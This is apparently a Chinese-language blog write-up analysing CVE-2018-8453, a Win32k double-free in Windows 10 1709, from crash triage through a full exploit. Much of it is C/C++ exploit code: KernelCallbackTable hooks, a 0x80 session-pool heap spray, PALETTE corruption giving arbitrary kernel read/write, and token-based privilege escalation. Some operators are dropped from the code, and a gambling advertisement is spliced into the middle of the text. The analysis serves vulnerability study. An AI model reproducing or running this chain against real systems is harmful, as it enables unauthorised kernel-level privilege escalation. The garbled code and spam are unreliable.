电银付(dianyinzhifu.com):CVE-2018-8453 Win32k破绽剖析条记
CVE-2018-8453是一种UAF类型的破绽,破绽发生的缘故原由是win32kfull!NtUserSetWindowFNID函数在对窗口工具设置FNID时没有检查窗口工具是否已经被释放,导致可以对一个已经被释放了的窗口设置一个新的FNID。通过行使win32kfull!NtUserSetWindowFNID的这一缺陷,可以控制窗口工具销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数,从而可以在win32kfull!xxxSBTrackInit中实现对pSBTrack的Double Free。
设置破绽触发环境
[ ] win10 x64 1709
[ ] windbg preview 1.0.2001.02001
BSOD剖析
首先,我们将poc放入虚拟机中并运行,触发溃逃之后转到windbg中。先查看破绽成因
程序试图释放一块已经释放了的pool,说明这是一个经典的Double Free破绽。看一下这个pool的属性
这是一个0x80巨细的session pool,划重点,这里后面要用到的。接着看一下挪用关系
静态剖析可知,win32kbase!Win32FreePool和win32kfull!Win32FreePoolImpl都是通报参数的工具人,将win32kfull!xxxSBTrackInit传入的参数通报给nt!ExFreePoolWithTag函数,以是我们还需要接着剖析win32kfull!xxxSBTrackInit函数。
win32kfull!xxxSBTrackInit函数实现转动条的鼠标追随,当用户在一个转动条按下左键(左键也是重点,后面会用)时,系统就会发生一个SBTrack结构保留用户鼠标的当前位置;用户松开鼠标时,系统会释放SBTrack结构。详细细节我们可以通过 Windows 2000 的源码来深入领会:
pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK); if (pSBTrack == NULL) return; pSBTrack->hTimerSB = 0; pSBTrack->fHitOld = FALSE; pSBTrack->xxxpfnSB = xxxTrackBox; pSBTrack->spwndTrack = NULL; pSBTrack->spwndSB = NULL; pSBTrack->spwndSBNotify = NULL; Lock(&pSBTrack->spwndTrack, pwnd); PWNDTOPSBTRACK(pwnd) = pSBTrack; pSBTrack->fCtlSB = (!curArea);pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK); if (pSBTrack == NULL) return;
win32kfull!xxxSBTrackInit函数首先通过UserAllocPoolWithQuota函数申请一块内存来保留SBTrack的结构,将其保留在指针pSBTrack中,之后对SBTrack结构举行了一些初始化。
xxxSBTrackLoop(pwnd, lParam, pSBCalc);
while (ptiCurrent->pq->spwndCapture == pwnd) { if (!xxxGetMessage(&msg, NULL, 0, 0)) { // Note: after xxx, pSBTrack may no longer be valid break; } if (!_CallMsgFilter(&msg, MSGF_SCROLLBAR)) { cmd = msg.message; if (msg.hwnd == HWq(pwnd) && ((cmd >= WM_MOUSEFIRST && cmd <= WM_MOUSELAST) || (cmd >= WM_KEYFIRST && cmd <= WM_KEYLAST))) { cmd = SystoChar(cmd, msg.lParam); // After xxxWindowEvent, xxxpfnSB, xxxTranslateMessage or // xxxDispatchMessage, re-evaluate pSBTrack. REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop"); if ((pSBTrack == NULL) || (NULL == (xxxpfnSB = pSBTrack->xxxpfnSB))) // mode cancelled -- exit track loop return; (*xxxpfnSB)(pwnd, cmd, msg.wParam, msg.lParam, pSBCalc); } else { xxxTranslateMessage(&msg, 0); xxxDispatchMessage(&msg); } } }
接着挪用xxxSBTrackLoop函数来循环处置用户的新闻,该函数循环获取新闻、判断新闻、分发新闻。当用户铺开鼠标时,xxxSBTrackLoop住手追踪新闻,退出之后释放pSBTrack指向的内存。
// After xxx, re-evaluate pSBTrack REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop"); if (pSBTrack) { Unlock(&pSBTrack->spwndSBNotify); Unlock(&pSBTrack->spwndSB); Unlock(&pSBTrack->spwndTrack); UserFreePool(pSBTrack); PWNDTOPSBTRACK(pwnd) = NULL; }
xxxSBTrackLoop循环竣事之后解引用了几个窗口的引用,然后释放掉pSBTrack指向的内存。
按理来说这里是不会报错的,以上这些操作都是正常流程,但double free的错误提醒说明在pSBTrack被win32kfull!xxxSBTrackInit释放之前已经被偷偷释放过一次了,在那里我们不得而知,先实验下一个内存接见断点。
ba r8 ffff8d3dc1d2e9c0
断了几回都在申请内存的时刻,最终,我们可以断在nt!ExFreePoolWithTag函数,该函数正计划释放pSTBrack,看起来和第二次释放没什么区别,但看一下客栈就发现问题所在了。
这次释放发生在win32kbase!Win32FreePool释放pSBTrack之前,就是这次本不应发生的释放导致了Double Free的发生。先看最上面符号出来的代码,这次是一个xxxEndScrell函数挪用了Win32FreePool,该函数源码如下
void xxxEndScroll( PWND pwnd, BOOL fCancel) { UINT oldcmd; PSBTRACK pSBTrack; CheckLock(pwnd); UserAssert(!IsWinEventNotifyDeferred()); pSBTrack = PWNDTOPSBTRACK(pwnd); if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) { (省略部分内容) pSBTrack->xxxpfnSB = NULL; /* * Unlock structure members so they are no longer holding down windows. */ Unlock(&pSBTrack->spwndSB); Unlock(&pSBTrack->spwndSBNotify); Unlock(&pSBTrack->spwndTrack); UserFreePool(pSBTrack); PWNDTOPSBTRACK(pwnd) = NULL; } }
只要我们能够通过if的判断,那么就能乐成释放pSBTrack。由于程序是单线程,以是建立的窗口都是用的原来的SBTrack,自然而然的,pSBTrack和pSBTrack->xxxpfnSB != NULL都可以通过。至于PtiCurrent()->pq->spwndCapture == pwnd可以通过挪用SetCapture函数来直接设置。
xxxEndScroll函数的作用我们已经知道了,接着继续循着挪用路径追溯
void xxxDWP_DoCancelMode( PWND pwnd) { (省略) if (pwndCapture == pwnd) { PSBTRACK pSBTrack = PWNDTOPSBTRACK(pwnd); if (pSBTrack && (pSBTrack->xxxpfnSB != NULL)) xxxEndScroll(pwnd, TRUE); (省略)
继续往上追溯就到了win32kfull!xxxRealDefWindowProc。我们可以在对应的源码处看到一些有用的信息,如下
LRESULT xxxDefWindowProc( PWND pwnd, UINT message, WPARAM wParam, LPARAM lParam) { (省略) case WM_CANCELMODE: { /* * Terminate any modes the system might * be in, such as scrollbar tracking, menu mode, * button capture, etc. */ xxxDWP_DoCancelMode(pwnd); } break; (省略)
若是xxxDefWindowProc函数收到了WM_CANCELMODE,就可以去执行xxxEndScroll来释放SBTrack结构。
至此,我们对这个破绽已经有一个开端认识了,大概有以下情报
[ ] 破绽的成因是程序对一个0x80巨细的session poll举行了两次释放
[ ] 第一次释放发生在poc的fnDWORDHook中,通过挪用xxxEndScroll函数来实现
[ ] 第二次释放发生在xxxSBTrackInit函数,当xxxSBTrackLoop函数竣事时会释放pSBTrack
poc剖析
建立窗口
UINT CreateWindows(VOID) { HINSTANCE hInstance; WNDCLASS wndclass = { 0 }; { hInstance = GetModuleHandleA(0); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = DefWindowProc; wndclass.hInstance = hInstance; wndclass.cbClsExtra = 0x00; wndclass.cbWndExtra = 0x08; wndclass.lpszClassName = "case"; if (!RegisterClassA(&wndclass)) { cout << "RegisterClass Error!" << endl; return 1; } } Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (!Window) { cout << "Create Window Error!" << endl; return 1; } //保留句柄在扩展内存中 SetWindowLongA(Window, 0, (ULONG)Window); //WS_CHILD | SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL); cout << "Window:0x" << hex << Window << endl; cout << "SrollBar:0x" << hex << SrollBar << endl; }
注册窗口类并发生一个主窗口,以主窗口为父窗口再建立一个转动条子控件。只注重两个地方就可以了,wndclass.cbWndExtra = 0x08
和子窗口属性设置为WS_CHILD
,后面剖析的时刻会讲缘故原由。
回调函数Hook
//Windows10 1709 X64 VOID Hook_Init(VOID) { DWORD OldType = 0; ULONG64 KernelCallbackTable = *(ULONG64*)(PEB 0x58); VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType); //fnDWORD fnDword = (My_FnFunction) * (ULONG64*)(KernelCallbackTable 0x08 * 0x02); *(ULONG64*)(KernelCallbackTable 0x08 * 0x02) = (ULONG64)fnDWORDHook; //xxxClientAllocWindowClassExtraBytes xxxClientAllocWindowClassExtraBytes = (My_FnFunction) * (ULONG64*)(KernelCallbackTable 0x08 * 0x7E); //0x80 *(ULONG64*)(KernelCallbackTable 0x08 * 0x7E) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook; }
首先获得KernelCallbackTable的地址,至于为什么是PEB 0x58,可以通过在windbg下dt _PEB @$peb
查看。VirtualProtect函数更改KernelCallbackTable表为可读可写可执行,这样我们可以直接通过赋值来修改其中的函数地址,这里我们修改了fnDWORD
和xxxClientAllocWindowClassExtraBytes
。
这两段代码是触发溃逃之前很主要的准备事情,然则有很多多少器械不明不白,你可能有以下问题
[ ] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes?
[ ] 为什么要设置wndclass.cbWndExtra = 0x08?
[ ] 为什么要转动条必须设置为WS_CHILD?
这些问题都会在接下来的触发历程剖析中获得解答。
触发历程剖析
{ //Hook Hook_Init(); Flag = 1; //debug DebugBreak(); //向转动条发送点击新闻 SendMessageA(SrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008); }
在执行完Hook_Init函数之后,我们的准备事情已经基本完成了。首先向转动条发送WM_LBUTTONDOWN新闻,转动条会挪用xxxSBTrack函数来实现转动条的鼠标追随而且用SBTrack来保留鼠标位置,之后会挪用xxxSBTrackLoop循环获取鼠标新闻。xxxSBTrackLoop循环会挪用fnDWORD回调函数来回到R3,若是我们hook fnDWORD的话,就可以在xxxSBRrackInit函数执行时代举行一些分外的操作,这就是为什么hook fnDWORD的缘故原由。分外操作详细如下
VOID fnDWORDHook(PMSG MSG) { if (Flag) { Flag = 0; DestroyWindow(Window); } if (*((PULONG64)MSG 1) == 0x70) { cout << "SendMessage" << endl; SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0); } fnDword(MSG); }
由于其他地方也可能会挪用fnDWORD回调函数,以是我们通过if和fnDword(MSG)来维持hook之后的fnDWORD依然能正常运行。先看第一个if,通过Flag的值判断是否进入,这里我们挪用DestroyWindow(Window)来释放父窗口。在windows 2000的源码中简朴跟进了一下,我们得知DestroyWindow函数挪用xxxDestroyWindow函数,xxxDestroyWindow又去挪用xxxFreeWindow函数。在xxxFreeWindow函数中,我们考察一下cbWndExtra相关的内容
,欢迎进入欧博客户端下载(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。
首先判断是否存在窗口扩展结构,若是存在的话则挪用xxxClientFreeWindowClassExtraBytes函数释放窗口扩展空间,这就是为什么我们要设置wndclass.cbWndExtra = 0x08
的缘故原由。接着我们查看一下该函数的实现
这里挪用了用户模式回调函数,是peb-
>KernelCallbackTable)[126]所在的地址,该处正好就是我们hook的
xxxClientAllocWindowClassExtraBytes
。以是我们前面专程设置wndclass.cbWndExtra = 0x08
和hook了xxxClientAllocWindowClassExtraBytes
都是为了进入这个函数,然后挪用我们的hook函数。
VOID xxxClientAllocWindowClassExtraBytesHook(PVOID MSG) { if ((*(HWND*)*(HWND*)MSG) == Window) { cout << "xxxClientAllocWindowClassExtraBytes" << endl; //为什么要建立新转动条控件呢,由于子转动条控件的父窗口被释放后,无法获取到转动条的内核地址了 New_SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL); NtUserSetWindowFNID(Window, 0x2A1); SetCapture(New_SrollBar); } xxxClientAllocWindowClassExtraBytes(MSG); }
在CreateWindows函数中,我们用SetWindowLongA(Window, 0, (ULONG)Window)
将句柄保留在了扩展内存之中,现在行使句柄判断是否为父窗口挪用了xxxClientAllocWindowClassExtraBytesHook函数。在if中,我们修改了FNID的值,看起来有点疑惑,为什么要设置这些似乎不相关的器械?我们需要回首一下xxxSBTrackInit中的内容
if (pSBTrack) { Unlock(&pSBTrack->spwndSBNotify); Unlock(&pSBTrack->spwndSB); Unlock(&pSBTrack->spwndTrack); UserFreePool(pSBTrack); PWNDTOPSBTRACK(pwnd) = NULL; }
在xxxSBLoop竣事后,会对spwndSBNotify和主窗口的引用举行解引用。虽然父窗口已经被释放了,但子窗口还对父窗口有引用,以是相关的pool并没有被释放,但由于这是最后一个引用,HMAssignmentUnlock函数消灭赋值锁的历程会减小工具的锁计数,在锁计数减小为0时挪用HMUnlockObjectInternal销毁工具,销毁时挪用win32k!ghati对应表项的销毁例程,并最终挪用win32kfull!xxxDestroyWindow对窗口工具举行释放,这就是我们需要界说转动条子控件的缘故原由。
兜兜转转我们又回到了win32kfull!xxxDestroyWindow函数,刚刚已经剖析过了,xxxDestroyWindow挪用xxxFreeWindow来释放窗口,而FNID为释放窗口的Flag属性,我们把FNID修改为了0x2A1,正好可以通过下图的验证
过了验证之后我们会再一次挪用fnDWORDHook函数并发送0x70的Message,回首一下我们的fnDWORDHook
VOID fnDWORDHook(PMSG MSG) { if (Flag) { Flag = 0; DestroyWindow(Window); } if (*((PULONG64)MSG 1) == 0x70) { cout << "SendMessage" << endl; SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0); } fnDword(MSG); }
第二个if终于排上了用场,他卖力发送一个WM_CANCELMODE新闻。在剖析BSOD的时刻,我们已经剖析了xxxEndScroll函数触发的条件,正好就是WM_CANCELMODE新闻,这样一来,我们的pSBTrack就会被释放,接着再被win32kfull!SBTrackInit中的Win32FreePool释放,从而造成Double Free。
至此,我们刚刚提出的几个问题也全都解决了:
[ ] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes?
答:我们可以通过SBTrackloop和xxxFreeWindow挪用这两个回调函数,hook之后可以有两次返回r3举行操作的机遇。
[ ] 为什么要设置wndclass.cbWndExtra = 0x08?
答:为了回调xxxClientAllocWindowClassExtraBytes。
[ ] 为什么要转动条必须设置为WS_CHILD?
答:为了引用父窗口,这样才不会在DestroyWindow的时刻被直接释放。
触发流程示意图
exp剖析
HMAssignmentUnlock的行使姿势
前面我们已经剖析过了,在xxxSBTrackLoop循环竣事之后,HMAssignmentUnlock函数对spwndSB(父窗口)解引用的时刻会挪用win32kfull!xxxDestroyWindow并最终释放SBTrack结构。
if (pSBTrack) { Unlock(&pSBTrack->spwndSBNotify); Unlock(&pSBTrack->spwndSB); // 对主窗口解引用 Unlock(&pSBTrack->spwndTrack); // tagSBTrack解引用 UserFreePool(pSBTrack); PWNDTOPSBTRACK(pwnd) = NULL; }
注重Unlock(&pSBTrack->spwndTrack);
,在解引用tagSBTrack之前,tagSBTrack结构已经被释放了,若是我们堆喷射很多个0x80巨细的session来重引用tagSBTrack。
UCHAR MenuNames[0x100] = { 0 }, ClassName[0x50] = { 0 }; memset(MenuNames, 0x43, 0x80 - 0x20); *(ULONG64*)((ULONG64)MenuNames 0x10) = To_Where_A_Palette; *(ULONG64*)((ULONG64)MenuNames 0x08) = To_Where_A_Palette; while (I < 0x1000) { sprintf((char*)ClassName, "WindowUaf%d", I); hInstance = GetModuleHandleA(0); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = DefWindowProc; wndclass.hInstance = hInstance; wndclass.lpszMenuName = (LPCWSTR)MenuNames; wndclass.lpszClassName = (LPCWSTR)ClassName; if (!RegisterClassW(&wndclass)) { cout << "RegisterClass Error!" << endl; return 1; }
我们分配了0x1000个TagCls结构,其中保留着指向lpszMenuName结构的指针,该结构作为0x80的session pool 正好复用tagSBTrack的内存,只要修改MenuNames的内容就可以执行HMAssignmentUnlock(随便值)
了。
随便地址-1
HMAssignmentUnlock(随便值)
看起来似乎作用不大,我们先看看HMAssignmentUnlock函数内部实现
既然我们已经获得了HMAssignmentUnlock(随便值)
,就等于是控制了rcx,函数内部对[[rcx] 8]减一,也就是我们已经获得了随便地址-1。
泄露PALETTE地址
memset(MenuNames, 0x43, 0x1000 - 10); { hInstance = GetModuleHandleA(0); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = DefWindowProc; wndclass.hInstance = hInstance; wndclass.lpszMenuName = (LPCWSTR)MenuNames; wndclass.lpszClassName = L"LEAKWS"; if (!RegisterClassW(&wndclass)) { cout << "RegisterClass Error!" << endl; return 1; } }
PALETTE调色板在Win10 1709没有开启Type ISOLaTion,而且同样是session pool,我们可以思量修改该结构来到达随便地址读写。先通过MenuName建立一个0x1000的pool,这是为了取得lpszMenuName的地址,通过它我们可以获得PALETTE的地址。
//建立窗口在用户映射桌面堆的位置 PTagWnd = (ULONG64)HMValidateHandle(hwnd, 0x01); UlClientDelta = (ULONG64)((*(ULONG64*)(PTagWnd 0x20)) - (ULONG64)PTagWnd); TagCls = (*(ULONG64*)(PTagWnd 0xa8)) - UlClientDelta;
接着挪用HMValidateHandle()
函数获取tagWND的用户态桌面堆的地址,又由于tagWND结构中保留了自己在内核堆中的地址,我们可以获得一个相对偏移,通过这个偏移我们可以获取随便结构在内核桌面堆中的地址,又由于tagWND中保留着tagCLS的地址,我们可以算出tagCLS在用户态桌面堆的地址。有了tagCLS我们就可以在0x98的偏移地址找到MenuName,也就可以找到PALETTE的地址了。然后释放MenuName,这样内存就会被释放为Free状态,后面讲为什么要释放。
DestroyWindow(hwnd); return *(ULONG64*)(TagCls 0x98);
随便地址读写
现在我们有了目的地址,也有了随便地址-1,已经可以举行一些操作了。虽然靠这个随便地址-1为所欲为是不太可能,然则他可以帮我们组织攻击链,是的,忙活这么半天还只是在举行准备事情,详细攻击链如图所示
PALETTE中的cEntries为该结构的读写局限,pFirstColor是指向调色板项的指针,若是我们能扩大cEntries的局限,就能对pFirstColor举行读写,修改pFirstColor的值,然后就可以挪用PALETTE相关的函数对内核数据举行随便读写了。
VOID GetPalette_Address(VOID) { ULONG64 A_Palette_Address = NULL, B_Palette_Address = NULL; Palette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) (sizeof(PALETTEENTRY) * (0x1D5 - 0x01))); memset(Palette, 0x42, sizeof(LOGPALETTE) (sizeof(PALETTEENTRY) * (0x1D5 - 0x01))); Palette->palVersion = 0x0300; Palette->palNumEntries = 0x1D5; A_Palette_Address = GetMenuAddress(); cout << "A_Palette_Address:0x" << hex << A_Palette_Address << endl; To_Where_A_Palette = A_Palette_Address 0x2D - 8; //内存缩紧 for (UINT I = 0; I < 0x1500; I) { CreatePalette(Palette); } UnregisterClassW(L"LEAKWS", GetModuleHandleA(0)); Where_PALETTE = CreatePalette(Palette); What_PALETTE = CreatePalette(Palette); cout << "Where_PALETTE:0x" << hex << Where_PALETTE << endl; cout << "What_PALETTE:0x" << hex << What_PALETTE << endl; }
我们设置的cEntries的值为0x1d5,这会分配一个0x800巨细的kernel pool,若是分配两个的话就会重新引用刚刚释放的0x1000内存,这样的话,修改cEntries造成OOB之后就可以对*pFirstColoe举行随便读写了。
HMAssignmentUnlock
执行两次之后,cEntries的值已经被修改成了0xFFFFFFd5,足够我们举行操作了,通过 SetPaletteEntries()
以及 GetPaletteEntries()
函数即可在Ring3来随便内存读写,提权倒是很轻松了,修改Token就行了。
收尾事情
虽然刚刚的操作很是乐成,然则BSOD照样会依旧触发,由于我们通过lpszMenuName引用了pSBTrack,在之后清算历程的时刻依然会触发DoubleFree,会影响我们的行使。以是我们需要在UAF_80函数中将所有的IpszMenyNames都保留了起来,行使随便读写将保留lpszMenuName 的结构赋值为0,这样就不会有对pSBTrack的错误释放,而是会在xxxSBTrack的正常流程中仅仅释放一次。
VOID FMenuName(VOID) { ULONG64 Zero = 0; UCHAR Menu[0x20] = { 0 }; for (UINT I = 0; I < 0x1000; I) { if (TagCls_Menu_Address[I] == 0) { continue; } *(ULONG64*)Menu = TagCls_Menu_Address[I]; SetPaletteEntries(Where_PALETTE, 0x1DE 0x1E, 2, (LPPALETTEENTRY)&Menu); SetPaletteEntries(What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero); } }
至此,我们乐成解决了Double Free和提权,大功告成了!
其他
我的博客:https://www.0x2l.cn/